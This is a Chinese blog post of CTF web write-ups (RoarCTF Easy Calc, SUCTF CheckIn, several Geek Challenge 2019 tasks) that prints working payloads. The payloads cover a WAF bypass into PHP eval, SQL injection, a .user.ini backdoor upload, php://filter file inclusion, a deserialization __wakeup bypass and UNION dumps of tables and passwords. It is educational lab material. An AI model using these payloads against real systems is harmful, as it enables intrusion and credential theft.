[RoarCTF 2019]Easy Calc

题目是一个计算器,F12看到上了waf,去看看calc.php内容

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

知识点:当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。因为waf只是限制了num,分辨不出num

用chr转化成ascll码进行绕过
payload:calc.php?%20num=1;var_dump(scandir(chr(47)));
1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
payload:calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

[极客大挑战 2019]EasySQL

简单,一个sql注入万能密码。

payload:username=admin+%27+--%2B&password=%27123

[SUCTF 2019]CheckIn

通过看大佬的wp学到了.user.ini的用法。.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
利用auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。这样就可以加载后门了。
上传的图片类型检测,可以通过hex填图片类型的头通过。<?在黑名单里,可以通过javascript调用php执行。
图片

payload:/uploads/48cd8b43081896fbd0931d204f947663/index.php?cxy=var_dump(scandir("/"));
/uploads/48cd8b43081896fbd0931d204f947663/index.php?cxy=var_dump(file_get_contents("/flag"));

[极客大挑战 2019]Secret File

打开F12看到Archive_room.php,访问后点击secret发现查阅结束,打开burp拦截可以看到secr3t.php,访问得到

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

明显的文件包含+php伪协议。构造payload

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码后得到源码,里面有flag。

[极客大挑战 2019]PHP

打开提示有备份网站的习惯,直接访问www.zip成功下载到备份。查看源码发现是一道php反序列化的题

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>

通过__destructecho $flag,满足条件两个条件就行。

$a = new Name('admin',100);
$b=serialize($a);
echo $b;

serialize() 函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。与之相反,unserialize() 会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup方法,预先准备对象需要的资源。
所以这里需要修改Object后的数字来绕过魔术方法,也是一个比较常见的知识点。

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

修改为

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

这里的%00是因为私有变量序列化后会产生\x00,复制以后就丢失了,在浏览器上自己补充上%00.

payload:index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]LoveSQL

联合注入,测试字段,发现是3个,有回显,直接爆库爆表爆列查询。payload:

http://fb22b7cd-389b-40ea-913f-020616bf3b1b.node3.buuoj.cn/check.php?username=1%27%20union%20select%201,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23&password=1
http://fb22b7cd-389b-40ea-913f-020616bf3b1b.node3.buuoj.cn/check.php?username=1%27%20union%20select%201,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' %23&password=1
http://fb22b7cd-389b-40ea-913f-020616bf3b1b.node3.buuoj.cn/check.php?username=1%27%20union%20select%201,2,group_concat(password) from l0ve1ysq1 %23&password=1


web      web

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!